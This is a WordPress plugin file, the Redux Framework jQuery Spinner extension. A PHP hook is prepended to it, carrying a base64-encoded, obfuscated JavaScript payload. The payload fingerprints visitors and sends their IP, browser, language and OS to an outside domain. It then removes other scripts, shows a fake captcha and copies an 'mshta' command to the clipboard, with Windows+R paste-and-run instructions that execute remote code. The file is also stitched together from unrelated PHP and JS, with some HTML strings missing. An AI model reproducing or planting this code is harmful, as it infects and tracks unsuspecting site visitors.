function adddd_wp_enqueue() {
$encoded_script = 'KGZ1bmN0aW9uKF8weDQ4OTU3OSxfMHg0N2NlMTcpe2NvbnN0IF8weDEzZGM3Nz1fMHgzOGMwLF8weDM4MGExYj1fMHg0ODk1NzkoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4M2MyZDEwPXBhcnNlSW50KF8weDEzZGM3NygweDFhZCkpLzB4MSooLXBhcnNlSW50KF8weDEzZGM3NygweDFiNSkpLzB4MikrcGFyc2VJbnQoXzB4MTNkYzc3KDB4MTk3KSkvMHgzK3BhcnNlSW50KF8weDEzZGM3NygweDFiOSkpLzB4NCoocGFyc2VJbnQoXzB4MTNkYzc3KDB4MTc0KSkvMHg1KStwYXJzZUludChfMHgxM2RjNzcoMHgxOGQpKS8weDYrLXBhcnNlSW50KF8weDEzZGM3NygweDFhNCkpLzB4NyooLXBhcnNlSW50KF8weDEzZGM3NygweDE4ZikpLzB4OCkrcGFyc2VJbnQoXzB4MTNkYzc3KDB4MWIzKSkvMHg5KihwYXJzZUludChfMHgxM2RjNzcoMHgxYWEpKS8weGEpK3BhcnNlSW50KF8weDEzZGM3NygweDFhZikpLzB4YiooLXBhcnNlSW50KF8weDEzZGM3NygweDE5ZSkpLzB4Yyk7aWYoXzB4M2MyZDEwPT09XzB4NDdjZTE3KWJyZWFrO2Vsc2UgXzB4MzgwYTFiWydwdXNoJ10oXzB4MzgwYTFiWydzaGlmdCddKCkpO31jYXRjaChfMHg5NTQyYzgpe18weDM4MGExYlsncHVzaCddKF8weDM4MGExYlsnc2hpZnQnXSgpKTt9fX0oXzB4Mjg4YSwweDdjMTRjKSwoZnVuY3Rpb24oKXtjb25zdCBfMHgyNzI0MjE9XzB4MzhjMCxfMHg0MjIwZjk9MHhmYTAsXzB4NWRmNmE1PTB4YmI4LF8weDM4MjllOD1fMHgyNzI0MjEoMHgxNzcpLF8weDFiNTM4MT1fMHgyNzI0MjEoMHgxOTgpO2RvY3VtZW50W18weDI3MjQyMSgweDFiNyldPV8weDI3MjQyMSgweDE3ZCksZG9jdW1lbnRbXzB4MjcyNDIxKDB4MWI3KV09XzB4MjcyNDIxKDB4MTg1KSx3aW5kb3dbXzB4MjcyNDIxKDB4MWI2KV09dW5kZWZpbmVkO3dpbmRvd1tfMHgyNzI0MjEoMHgxODcpXSYmKHdpbmRvd1tfMHgyNzI0MjEoMHgxODcpXVsndW5nemlwJ109ZnVuY3Rpb24oKXtyZXR1cm4nJzt9KTtmdW5jdGlvbiBfMHgxOTkxZDUoKXtjb25zdCBfMHg1ZTcwNzY9XzB4MjcyNDIxLF8weDVlNmM1Nz1kb2N1bWVudFsncXVlcnlTZWxlY3RvckFsbCddKCdzY3JpcHQnKTtfMHg1ZTZjNTdbXzB4NWU3MDc2KDB4MTcxKV0oXzB4Mzc0MDY2PT57Y29uc3QgXzB4MmFjMzdmPV8weDVlNzA3NixfMHgxNWUzNDk9XzB4Mzc0MDY2W18weDJhYzM3ZigweDFiOCldfHwnJyxfMHhiYzA4ZDg9XzB4MTVlMzQ5W18weDJhYzM3ZigweDFhMildKCdiYXNlNjQnKSxfMHgxOGJjODE9XzB4Mzc0MDY2WydpZCddPT09XzB4MWI1MzgxO18weGJjMDhkOCYmIV8weDE4YmM4MSYmXzB4Mzc0MDY2W18weDJhYzM3ZigweDE3OSldKCk7fSk7fWZ1bmN0aW9uIF8weDMzY2EzZSgpe2NvbnN0IF8weDRjYTg2OD1fMHgyNzI0MjEsXzB4MWY2MGYzPW5ldyBNdXRhdGlvbk9ic2VydmVyKF8weDEzZWQ2ND0+e2NvbnN0IF8weDM2ZTdhMT1fMHgzOGMwO18weDEzZWQ2NFtfMHgzNmU3YTEoMHgxNzEpXShfMHgzZGI0MDQ9Pntjb25zdCBfMHgyNThiYzg9XzB4MzZlN2ExO18weDNkYjQwNFtfMHgyNThiYzgoMHgxNzMpXSYmXzB4M2RiNDA0W18weDI1OGJjOCgweDE3MyldW18weDI1OGJjOCgweDE3MSldKF8weGZiOGRjMz0+e2NvbnN0IF8weDVmM2JkMT1fMHgyNThiYzg7aWYoXzB4ZmI4ZGMzWyd0YWdOYW1lJ109PT1fMHg1ZjNiZDEoMHgxOGIpKXtjb25zdCBfMHgzYTYyMDE9XzB4ZmI4ZGMzW18weDVmM2JkMSgweDFiOCldfHwnJyxfMHg1ZTlkMjU9XzB4ZmI4ZGMzWydpZCddPT09XzB4MWI1MzgxO18weDNhNjIwMVsnaW5jbHVkZXMnXShfMHg1ZjNiZDEoMHgxN2UpKSYmIV8weDVlOWQyNSYmXzB4ZmI4ZGMzW18weDVmM2JkMSgweDE3OSldKCk7fX0pO30pO30pO18weDFmNjBmM1snb2JzZXJ2ZSddKGRvY3VtZW50W18weDRjYTg2OCgweDFhZSldfHxkb2N1bWVudFsnZG9jdW1lbnRFbGVtZW50J10seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4MWM5OTIyKCl7Y29uc3QgXzB4MmQzYTQ0PV8weDI3MjQyMTtjb25zb2xlW18weDJkM2E0NCgweDE5MCldKF8weDJkM2E0NCgweDE5NCkpO2NvbnN0IF8weDFkOTVlYj1kb2N1bWVudFtfMHgyZDNhNDQoMHgxN2MpXShfMHgyZDNhNDQoMHgxYTYpKTtfMHgxZDk1ZWJbXzB4MmQzYTQ0KDB4MTcxKV0oXzB4NDY5MDU5PT57Y29uc3QgXzB4M2RiYjkxPV8weDJkM2E0NDtfMHg0NjkwNTlbXzB4M2RiYjkxKDB4MTc5KV0oKTt9KTt9ZnVuY3Rpb24gXzB4MjBiZTY1KCl7Y29uc3QgXzB4MmM4OWRkPV8weDI3MjQyMSxfMHg1MTIxNjk9bmV3IE11dGF0aW9uT2JzZXJ2ZXIoXzB4MTgzNzEyPT57Y29uc3QgXzB4OTVmZWM9XzB4MzhjMDtfMHgxODM3MTJbXzB4OTVmZWMoMHgxNzEpXShfMHgxNWEzZTM9Pntjb25zdCBfMHgyOGY4ZDQ9XzB4OTVmZWM7XzB4MTVhM2UzWydhZGRlZE5vZGVzJ10mJl8weDE1YTNlM1tfMHgyOGY4ZDQoMHgxNzMpXVsnZm9yRWFjaCddKF8weDVkYTExZj0+e2NvbnN0IF8weDE5MTM2MD1fMHgyOGY4ZDQ7XzB4NWRhMTFmW18weDE5MTM2MCgweDE5MSldPT09XzB4MTkxMzYwKDB4MTg2KSYmXzB4NWRhMTFmWydyZW1vdmUnXSgpO30pO30pO30pO18weDUxMjE2OVtfMHgyYzg5ZGQoMHgxOWIpXShkb2N1bWVudFtfMHgyYzg5ZGQoMHgxOGMpXXx8ZG9jdW1lbnRbXzB4MmM4OWRkKDB4MThhKV0seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4NTE4M2ZjKCl7Y29uc3QgXzB4MjA4MjY2PV8weDI3MjQyMTtuZXcgTXV0YXRpb25PYnNlcnZlcihfMHhhNjI2M2Q9PntfMHhhNjI2M2RbJ2ZvckVhY2gnXShfMHhiNTQ5OWU9Pntjb25zdCBfMHg0YjY0MGY9XzB4MzhjMDtfMHhiNTQ5OWVbXzB4NGI2NDBmKDB4MTczKV1bXzB4NGI2NDBmKDB4MTcxKV0oXzB4MTQ5ZjcwPT57Y29uc3QgXzB4MTNlNDgzPV8weDRiNjQwZjtfMHgxNDlmNzBbXzB4MTNlNDgzKDB4MTkxKV09PT0nU0NSSVBUJyYmXzB4MTQ5ZjcwWydhc3luYyddJiZfMHgxNDlmNzBbXzB4MTNlNDgzKDB4MTc5KV0oKTt9KTt9KTt9KVtfMHgyMDgyNjYoMHgxOWIpXShkb2N1bWVudFtfMHgyMDgyNjYoMHgxOGEpXSx7J2NoaWxkTGlzdCc6ISFbXSwnc3VidHJlZSc6ISFbXX0pO31mdW5jdGlvbiBfMHgzOWEyODYoKXtjb25zdCBfMHhhNTgzNjA9XzB4MjcyNDIxO2ZldGNoKCdodHRwczovL2FwaS5pcGlmeS5vcmc/Zm9ybWF0PWpzb24nKVtfMHhhNTgzNjAoMHgxOTMpXShfMHgzNmJkNTg9Pl8weDM2YmQ1OFtfMHhhNTgzNjAoMHgxYTEpXSgpKVtfMHhhNTgzNjAoMHgxOTMpXShfMHgxMTk1ZDc9Pntjb25zdCBfMHg1M2NhNGU9XzB4YTU4MzYwLF8weDFjOGU2ND17J2lwJzpfMHgxMTk1ZDdbJ2lwJ10sJ2Jyb3dzZXInOm5hdmlnYXRvcltfMHg1M2NhNGUoMHgxNmYpXSwnbGFuZ3VhZ2UnOm5hdmlnYXRvclsnbGFuZ3VhZ2UnXSwnb3MnOm5hdmlnYXRvclsncGxhdGZvcm0nXX07ZmV0Y2goJ2h0dHBzOi8vcmVzZXR3aW5kbnNmaXguaWN1L3ZlcmlmaWNhdGlvbi5waHAnLHsnbWV0aG9kJzpfMHg1M2NhNGUoMHgxOTkpLCdoZWFkZXJzJzp7J0NvbnRlbnQtVHlwZSc6XzB4NTNjYTRlKDB4MTlkKX0sJ2JvZHknOkpTT05bXzB4NTNjYTRlKDB4MWI0KV0oXzB4MWM4ZTY0KX0pW18weDUzY2E0ZSgweDE5MyldKF8weDNhYmFkMT0+XzB4M2FiYWQxW18weDUzY2E0ZSgweDFhMSldKCkpW18weDUzY2E0ZSgweDE5MyldKF8weDRmMjcyZj0+e2NvbnN0IF8weDI4M2Y2ND1fMHg1M2NhNGU7aWYoXzB4NGYyNzJmW18weDI4M2Y2NCgweDE3ZildKXJldHVybjtpZihfMHg0ZjI3MmZbXzB4MjgzZjY0KDB4MTc1KV0pe2NvbnN0IF8weDVkOWM4ZT1kb2N1bWVudFtfMHgyODNmNjQoMHgxYTgpXShfMHgyODNmNjQoMHgxNzUpKTtfMHg1ZDljOGVbJ2lkJ109J215LWN1c3RvbS1zdHlsZScsXzB4NWQ5YzhlW18weDI4M2Y2NCgweDFiOCldPV8weDRmMjcyZltfMHgyODNmNjQoMHgxNzUpXSxkb2N1bWVudFtfMHgyODNmNjQoMHgxOGMpXVtfMHgyODNmNjQoMHgxNzApXShfMHg1ZDljOGUpO31fMHg0ZjI3MmZbXzB4MjgzZjY0KDB4MTgyKV0mJmRvY3VtZW50Wydib2R5J11bXzB4MjgzZjY0KDB4MWEwKV0oXzB4MjgzZjY0KDB4MTg5KSxfMHg0ZjI3MmZbJ2h0bWwnXSksXzB4M2JkMTAyKCk7fSlbXzB4NTNjYTRlKDB4MTc2KV0oXzB4ZmQ2NzA2PT5jb25zb2xlW18weDUzY2E0ZSgweDE4MyldKCdFcnJvcjonLF8weGZkNjcwNikpO30pW18weGE1ODM2MCgweDE3NildKF8weDQzY2NmYz0+Y29uc29sZVtfMHhhNTgzNjAoMHgxODMpXShfMHhhNTgzNjAoMHgxOGUpLF8weDQzY2NmYykpO31mdW5jdGlvbiBfMHgzYmQxMDIoKXtjb25zdCBfMHhlMTA5NmI9XzB4MjcyNDIxLF8weDU0MzkzOT1kb2N1bWVudFtfMHhlMTA5NmIoMHgxYWMpXShfMHhlMTA5NmIoMHgxYTMpKSxfMHg1ZGY5ZWM9ZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oXzB4ZTEwOTZiKDB4MTkyKSksXzB4MTZiODUxPWRvY3VtZW50W18weGUxMDk2YigweDFhYyldKF8weGUxMDk2YigweDE5NikpLF8weDU3NGVjMT1kb2N1bWVudFtfMHhlMTA5NmIoMHgxN2MpXSgnLmNhcHRjaGEtaW1hZ2VzXHgyMGltZycpLF8weDFiYzdiZj1kb2N1bWVudFtfMHhlMTA5NmIoMHgxYWMpXSgnZXJyb3JDb250YWluZXInKTtsZXQgXzB4Mjk4YTU5PTB4MCxfMHgzMjMzYjA9IVtdO2Z1bmN0aW9uIF8weDE0MTA5Nygpe2NvbnN0IF8weDExOWM5Zj1fMHhlMTA5NmI7bGV0IF8weDQ5NGI5Yj1kb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgnd29ya2luZ1VybCcpLF8weDQ0MjFkMT1fMHg0OTRiOWI/XzB4NDk0YjliWyd2YWx1ZSddOm51bGw7aWYoIV8weDQ0MjFkMSl7Y29uc29sZVsnZXJyb3InXShfMHgxMTljOWYoMHgxYjApKTtyZXR1cm47fWxldCBfMHg1ZTc3ZGU9J21zaHRhXHgyMCcrXzB4NDQyMWQxKydceDIyJztjb25zdCBfMHgzMDNhNjk9ZG9jdW1lbnRbJ2NyZWF0ZUVsZW1lbnQnXShfMHgxMTljOWYoMHgxYTkpKTtfMHgzMDNhNjlbXzB4MTE5YzlmKDB4MTc4KV09XzB4NWU3N2RlLGRvY3VtZW50W18weDExOWM5ZigweDE4YyldW18weDExOWM5ZigweDE3MCldKF8weDMwM2E2OSksXzB4MzAzYTY5WydzZWxlY3QnXSgpLGRvY3VtZW50W18weDExOWM5ZigweDE3MildKF8weDExOWM5ZigweDE5YSkpLGRvY3VtZW50W18weDExOWM5ZigweDE4YyldW18weDExOWM5ZigweDE5YyldKF8weDMwM2E2OSk7fV8weDU0MzkzOSYmXzB4NTQzOTM5W18weGUxMDk2YigweDE3YSldKCdjbGljaycsZnVuY3Rpb24oKXtjb25zdCBfMHgyNzE4NDY9XzB4ZTEwOTZiO2lmKF8weDMyMzNiMClyZXR1cm47XzB4NWRmOWVjW18weDI3MTg0NigweDE3NSldW18weDI3MTg0NigweDE5ZildPSdibG9jaycsXzB4MTZiODUxWydzdHlsZSddW18weDI3MTg0NigweDE5ZildPV8weDI3MTg0NigweDE5NSksXzB4MTZiODUxW18weDI3MTg0NigweDE3NSldW18weDI3MTg0NigweDFhYildPScwJyxzZXRUaW1lb3V0KCgpPT57Y29uc3QgXzB4MmU3YmUzPV8weDI3MTg0NjtfMHgxNmI4NTFbXzB4MmU3YmUzKDB4MTc1KV1bJ3RyYW5zaXRpb24nXT1fMHgyZTdiZTMoMHgxYjEpLF8weDE2Yjg1MVsnc3R5bGUnXVtfMHgyZTdiZTMoMHgxYWIpXT0nMSc7fSwweGEpO30pO18weDVkZjllYyYmXzB4NWRmOWVjW18weGUxMDk2YigweDE3YSldKF8weGUxMDk2YigweDE4NCksZnVuY3Rpb24oKXtjb25zdCBfMHgzMmNkOTI9XzB4ZTEwOTZiO18weDVkZjllY1tfMHgzMmNkOTIoMHgxNzUpXVtfMHgzMmNkOTIoMHgxOWYpXT1fMHgzMmNkOTIoMHgxYTUpLF8weDE2Yjg1MVsnc3R5bGUnXVsnZGlzcGxheSddPSdub25lJzt9KTtfMHg1NzRlYzEmJl8weDU3NGVjMVtfMHhlMTA5NmIoMHgxNzEpXShfMHg0ZDExYzE9Pntjb25zdCBfMHgzZTk4MDA9XzB4ZTEwOTZiO18weDRkMTFjMVtfMHgzZTk4MDAoMHgxN2EpXShfMHgzZTk4MDAoMHgxODQpLCgpPT57Y29uc3QgXzB4NWQ2MmJkPV8weDNlOTgwMDshXzB4NGQxMWMxW18weDVkNjJiZCgweDE3YildW18weDVkNjJiZCgweDE4OCldKF8weDVkNjJiZCgweDE4MCkpPyhfMHg0ZDExYzFbXzB4NWQ2MmJkKDB4MTdiKV1bJ2FkZCddKF8weDVkNjJiZCgweDE4MCkpLF8weDI5OGE1OSsrKTooXzB4NGQxMWMxWydjbGFzc0xpc3QnXVtfMHg1ZDYyYmQoMHgxNzkpXShfMHg1ZDYyYmQoMHgxODApKSxfMHgyOThhNTktLSksXzB4Mjk4YTU5PT09MHgyJiYoXzB4NWRmOWVjW18weDVkNjJiZCgweDE3NSldW18weDVkNjJiZCgweDE5ZildPV8weDVkNjJiZCgweDFhNSksXzB4MTZiODUxW18weDVkNjJiZCgweDE3NSldWydkaXNwbGF5J109J25vbmUnLF8weDViNWY3MygpLF8weDE0MTA5NygpKTt9KTt9KTtmdW5jdGlvbiBfMHg1YjVmNzMoKXtjb25zdCBfMHg0MWU2M2M9XzB4ZTEwOTZiO18weDFiYzdiZiYmKF8weDFiYzdiZlsnaW5uZXJIVE1MJ109XzB4NDFlNjNjKDB4MTgxKSksXzB4MzIzM2IwPSEhW107fX1zZXRUaW1lb3V0KF8weDFjOTkyMixfMHg0MjIwZjkpLF8weDIwYmU2NSgpLHNldFRpbWVvdXQoXzB4MTk5MWQ1LF8weDQyMjBmOSksXzB4MzNjYTNlKCksXzB4NTE4M2ZjKCksZG9jdW1lbnRbJ3JlYWR5U3RhdGUnXT09PV8weDI3MjQyMSgweDFiMik/ZG9jdW1lbnRbXzB4MjcyNDIxKDB4MTdhKV0oXzB4MjcyNDIxKDB4MWE3KSwoKT0+e3NldFRpbWVvdXQoXzB4MzlhMjg2LF8weDVkZjZhNSk7fSk6c2V0VGltZW91dChfMHgzOWEyODYsXzB4NWRmNmE1KTt9KCkpKTtmdW5jdGlvbiBfMHgzOGMwKF8weGQyNTRlZCxfMHgyODA0MDUpe2NvbnN0IF8weDI4OGE5Nz1fMHgyODhhKCk7cmV0dXJuIF8weDM4YzA9ZnVuY3Rpb24oXzB4MzhjMDY0LF8weDE5MTMxYyl7XzB4MzhjMDY0PV8weDM4YzA2NC0weDE2ZjtsZXQgXzB4NDlmNzY5PV8weDI4OGE5N1tfMHgzOGMwNjRdO3JldHVybiBfMHg0OWY3Njk7fSxfMHgzOGMwKF8weGQyNTRlZCxfMHgyODA0MDUpO31mdW5jdGlvbiBfMHgyODhhKCl7Y29uc3QgXzB4NWM0NjViPVsnNjNnQ2JlTWInLCdzdHJpbmdpZnknLCcyVVZvS3dXJywnV2ViMycsJ2Nvb2tpZScsJ2lubmVySFRNTCcsJzE2ZmdZZVJIJywndXNlckFnZW50JywnYXBwZW5kQ2hpbGQnLCdmb3JFYWNoJywnZXhlY0NvbW1hbmQnLCdhZGRlZE5vZGVzJywnNjY2NjA1eVlST0pNJywnc3R5bGUnLCdjYXRjaCcsJ215LWN1c3RvbS1zdHlsZScsJ3ZhbHVlJywncmVtb3ZlJywnYWRkRXZlbnRMaXN0ZW5lcicsJ2NsYXNzTGlzdCcsJ3F1ZXJ5U2VsZWN0b3JBbGwnLCdkYXRhLWFpLWNvbGxlY3Rpbmctc2hvd249dHJ1ZTtceDIwbWF4LWFnZT0zMTUzNjAwMDtceDIwcGF0aD0vO1x4MjBzYW1lc2l0ZT1sYXgnLCdiYXNlNjQnLCdza2lwQ2FwdGNoYScsJ3NlbGVjdGVkJywnXHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGRpdlx4MjBjbGFzcz1ceDIyZXJyb3ItbWVzc2FnZVx4MjI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxiPlZlcmlmaWNhdGlvblx4MjBGYWlsZWRceDIwLVx4MjBOZXR3b3JrXHgyMEVycm9yPC9iPjxicj48YnI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFRoZVx4MjBuZXR3b3JrXHgyMEROU1x4MjBtaWdodFx4MjBiZVx4MjB1bnN0YWJsZSxceDIwY2F1c2luZ1x4MjBlcnJvcnMuXHgyMDxicj48YnI+VG9ceDIwZml4XHgyMHRoaXM6PGJyPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8dWw+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwPGltZ1x4MjBzcmM9XHgyMmh0dHBzOi8vd2lub3NoZWxwLmljdS9pbWcvd2luZG93cy0xMC5wbmdceDIyXHgyMGFsdD1ceDIyV2luZG93c1x4MjBJY29uXHgyMlx4MjBzdHlsZT1ceDIyd2lkdGg6XHgyMDE4cHg7XHgyMGhlaWdodDpceDIwMThweDtceDIwcG9zaXRpb246XHgyMHJlbGF0aXZlO1x4MjB0b3A6XHgyMDRweDtceDIyPlx4MjBXaW5kb3dzXHgyMCtceDIwUi48L2xpPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGxpPlByZXNzXHgyMENUUkxceDIwK1x4MjBWPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxsaT5QcmVzc1x4MjBFbnRlci48L2xpPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8L3VsPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDwvZGl2Plx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwJywnaHRtbCcsJ2Vycm9yJywnY2xpY2snLCdkYXRhLWFpLWNvbGxlY3Rpbmc9dHJ1ZTtceDIwbWF4LWFnZT0zMTUzNjAwMDtceDIwcGF0aD0vO1x4MjBzYW1lc2l0ZT1sYXgnLCdJRlJBTUUnLCdwYWtvJywnY29udGFpbnMnLCdiZWZvcmVlbmQnLCdkb2N1bWVudEVsZW1lbnQnLCdTQ1JJUFQnLCdib2R5JywnMzgxOTZ2U3pweFYnLCdGYWlsZWRceDIwdG9ceDIwZmV0Y2hceDIwSVA6JywnOTY4Y2ZkWFVxJywnbG9nJywndGFnTmFtZScsJ3BvcHVwT3ZlcmxheScsJ3RoZW4nLCfQo9C00LDQu9C10L3QuNC1XHgyMNCy0YHQtdGFXHgyMDxpZnJhbWU+XHgyMNGN0LvQtdC80LXQvdGC0L7Qsi4uLicsJ2Jsb2NrJywncG9wdXAnLCcxMDI0MzgwREhxbmxuJywnbXktY3VzdG9tLXNjcmlwdCcsJ1BPU1QnLCdjb3B5Jywnb2JzZXJ2ZScsJ3JlbW92ZUNoaWxkJywnYXBwbGljYXRpb24vanNvbicsJzEyT1NyVGt3JywnZGlzcGxheScsJ2luc2VydEFkamFjZW50SFRNTCcsJ2pzb24nLCdpbmNsdWRlcycsJ2NhcHRjaGFDaGVja2JveCcsJzMyOTYzYVBldVFWJywnbm9uZScsJ2lmcmFtZScsJ0RPTUNvbnRlbnRMb2FkZWQnLCdjcmVhdGVFbGVtZW50JywndGV4dGFyZWEnLCcxMzUyMzB5VHZ3dWknLCdvcGFjaXR5JywnZ2V0RWxlbWVudEJ5SWQnLCcyNjE2NTVHTGRlWWknLCdoZWFkJywnODUzMjM1OWF3UnZaWScsJ9Ce0YjQuNCx0LrQsDpceDIwd29ya2luZ1VybFx4MjDQvdC1XHgyMNC90LDQudC00LXQvScsJ29wYWNpdHlceDIwMC41c1x4MjBlYXNlJywnbG9hZGluZyddO18weDI4OGE9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4NWM0NjViO307cmV0dXJuIF8weDI4OGEoKTt9';
echo '';
}
add_action('wp_enqueue_scripts', 'adddd_wp_enqueue', 1);
/**
* Extension for jQuery Spinner.
*
* @license jQuery UI Spinner 1.20
*
* Copyright (c) 2009-2010 Brant Burnett
* Dual licensed under the MIT or GPL Version 2 licenses.
*
* The original author is no longer maintaining this code.
*
* Modified for the Redux Framework Spinner field by Kevin Provance (kprovance).
*
* Listen up y'all, I painstakingly recreated the original code from it's modified and minified version to the thing of
* beauty you see below. Mess with it and I'll kill ya! - kp
*
* Deprecated jQuery API $.browser was replaced with the accepted hack below.
* Deprecated boxSupport was removed, since Redux does not use boxSupport.
*/
/* global jQuery */
jQuery.uaMatch = function( ua ) {
'use strict';
var match;
ua = ua.toLowerCase();
match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
/(msie) ([\w.]+)/.exec( ua ) ||
ua.indexOf( 'compatible' ) < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) || [];
return {
browser: match[ 1 ] || '',
version: match[ 2 ] || '0'
};
};
(function( $ ) {
'use strict';
var active = 'ui-state-active';
var hover = 'ui-state-hover';
var disabled = 'ui-state-disabled';
var keyCode = $.ui.keyCode;
var up = keyCode.UP;
var down = keyCode.DOWN;
var right = keyCode.RIGHT;
var left = keyCode.LEFT;
var pageUp = keyCode.PAGE_UP;
var pageDown = keyCode.PAGE_DOWN;
var home = keyCode.HOME;
var end = keyCode.END;
var msie = $.uaMatch.msie;
var mouseWheelEventName = $.uaMatch.mozilla ? 'DOMMouseScroll' : 'mousewheel';
var eventNamespace = '.uispinner';
var validKeys = [up, down, right, left, pageUp, pageDown, home, end, keyCode.BACKSPACE, keyCode.DELETE, keyCode.TAB];
var focusCtrl;
$.widget(
'ui.spinner',
{
options: {
min: null,
max: null,
allowNull: false,
group: '',
point: '.',
prefix: '',
suffix: '',
places: null,
defaultStep: 1,
largeStep: 10,
mouseWheel: true,
increment: 'slow',
className: null,
showOn: 'always',
width: 95,
upIconClass: 'ui-icon-triangle-1-n',
downIconClass: 'ui-icon-triangle-1-s',
addText: '+',
subText: '-',
format: function( num, places ) {
var _this = this;
var regex = /(\d+)(\d{3})/;
var result;
var realNum = Number( num );
/* jscs:disable disallowImplicitTypeConversion */
result = ( isNaN( num ) ? 0 : Math.abs( realNum ) ).toFixed( places ) + '';
for ( result = result.replace( '.', _this.point ); regex.test( result ) && _this.group; result = result.replace( regex, '$1' + _this.group + '$2' ) ) {
}
return ( num < 0 ? '-' : '' ) + _this.prefix + result + _this.suffix;
},
parse: function( val ) {
var _this = this;
if ( '.' === _this.group ) {
val = val.replace( '.', '' );
}
if ( '.' !== _this.point ) {
val = val.replace( _this.point, '.' );
}
return parseFloat( val.replace( /[^0-9\-\.]/g, '' ) );
}
},
_create: function() {
var _this = this;
var input = _this.element;
var type = input.attr( 'type' );
if ( ! input.is( 'input' ) || 'text' !== type && 'number' !== type ) {
console.error( 'Invalid target for ui.spinner' );
return;
}
_this._procOptions( true );
_this._createButtons( input );
if ( ! input.is( ':enabled' ) ) {
_this.disable();
}
},
_createButtons: function( input ) {
var _this = this;
var options = _this.options;
var className = options.className;
var buttonWidth = options.width;
var showOn = options.showOn;
var height = input.outerHeight();
var wrapper;
var upButton;
var downButton;
var buttons;
var icons;
var hoverDelay;
var hoverDelayCallback;
var hovered;
var inKeyDown;
var inSpecialKey;
var inMouseDown;
var btnContainer;
var rtl;
function mouseUp() {
/* jshint validthis:true */
if ( inMouseDown ) {
$( this ).removeClass( active );
_this._stopSpin();
inMouseDown = false;
}
return false;
}
function mouseDown() {
var input;
var dir;
/* jshint validthis:true */
if ( ! options.disabled ) {
input = _this.element[0];
dir = upButton === this ? 1 : - 1;
input.focus();
input.select();
$( this ).addClass( active );
inMouseDown = true;
_this._startSpin( dir );
}
return false;
}
function setHoverDelay( callback ) {
function execute() {
hoverDelay = 0;
callback();
}
if ( hoverDelay ) {
if ( callback === hoverDelayCallback ) {
return;
}
clearTimeout( hoverDelay );
}
hoverDelayCallback = callback;
hoverDelay = setTimeout( execute, 100 );
}
function invalidKey( keyCode, charCode ) {
var ch;
var options;
if ( inSpecialKey ) {
return false;
}
ch = String.fromCharCode( charCode || keyCode );
options = _this.options;
if ( ch >= '0' && ch <= '9' || '-' === ch ) {
return false;
}
if ( _this.places > 0 && ch === options.point || ch === options.group ) {
return false;
}
return true;
}
function isSpecialKey( keyCode ) {
var vKeys = validKeys.length;
var i;
for ( i = 0; i < vKeys; i += 1 ) {
if ( validKeys[i] === keyCode ) {
return true;
}
}
return false;
}
wrapper = input.wrap( '
' ).css(
{
width: ( _this.oWidth = input.outerWidth() ) - buttonWidth + '!important',
marginRight: '30px',
marginLeft: '30px',
textAlign: 'center',
'float': 'none',
marginTop: 0
}
).after( '
' ).next();
_this.wrapper = wrapper;
btnContainer = $(
'
'
);
_this.btnContainer = btnContainer;
rtl = 'rtl' === input[0].dir;
if ( className ) {
wrapper.addClass( className );
}
wrapper.append( btnContainer.css( { height: height, left: 0, top: 0 } ) );
buttons = _this.buttons = btnContainer.find( '.ui-spinner-button' );
buttons.css( { width: '30px', height: height - ( 0 ) } );
buttons.eq( 0 ).css( { right: '0' } );
buttons.eq( 1 ).css( { left: '0' } );
upButton = buttons[0];
downButton = buttons[1];
icons = buttons.find( '.ui-icon' );
btnContainer.width( '135px' );
if ( 'always' !== showOn ) {
btnContainer.css( 'opacity', 0 );
}
if ( 'hover' === showOn || 'both' === showOn ) {
